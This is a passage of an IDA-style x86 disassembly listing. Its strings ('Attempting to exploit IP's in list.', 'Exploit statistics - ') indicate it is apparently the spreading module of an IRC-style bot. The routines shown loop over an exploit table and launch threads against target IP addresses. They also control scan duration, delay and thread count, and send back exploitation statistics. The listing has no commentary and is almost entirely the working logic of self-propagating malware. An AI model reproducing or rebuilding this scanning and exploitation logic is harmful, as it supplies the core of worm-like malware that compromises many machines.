		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------


loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, byte_41DE00
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE00
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------


loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3


loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1


loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2


loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3


loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2


loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al


loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CE50
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CE18
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	dword_41709C	; Sleep


loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64	; clock
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0


loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C


loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------


loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41EF18
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------


loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35


loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------


loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------


loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx


loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------


loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CE04
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax


loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------


loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CDC0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7


loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------


loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte_41CCA8[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------


loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h


loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C


loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h


loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------


loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h


loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3


loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h


loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h


loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA


loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h


loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CE7C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41CF28
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
		mov	[ebp+var_488], eax


loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------


loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3


loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1


loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2


loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3


loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2


loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al


loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CEF8
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
		jmp	loc_413D21
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CEB4
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax


loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, byte_41CCA8[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	dword_41CCD2[eax]
		push	offset dword_41CF7C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	dword_41CCD2[eax], 0


loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------


loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------


loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
